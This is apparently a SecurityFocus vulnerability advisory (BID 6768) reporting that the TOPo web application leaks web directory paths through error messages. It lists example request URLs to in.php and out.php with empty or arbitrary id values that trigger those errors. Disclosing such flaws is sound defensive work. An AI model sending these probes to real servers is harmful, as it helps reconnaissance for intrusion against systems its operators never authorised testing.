source: http://www.securityfocus.com/bid/6768/info

It has been reported that TOPo may return information to users that is sensitive in nature. Under some circumstances, it is possible to produce an error message that reveals information about web directory structure. This could result in more organized attack against system resources.

http://www.example.com/[top_path]/in.php?
http://www.example.com/[top_path]/out.php?
http://www.example.com/[top_path]/in.php?id=any_word
http://www.example.com/[top_path]/out.php?id=any_word
http://www.example.com/[top_path]/in.php?any_word
http://www.example.com/[top_path]/out.php?any_word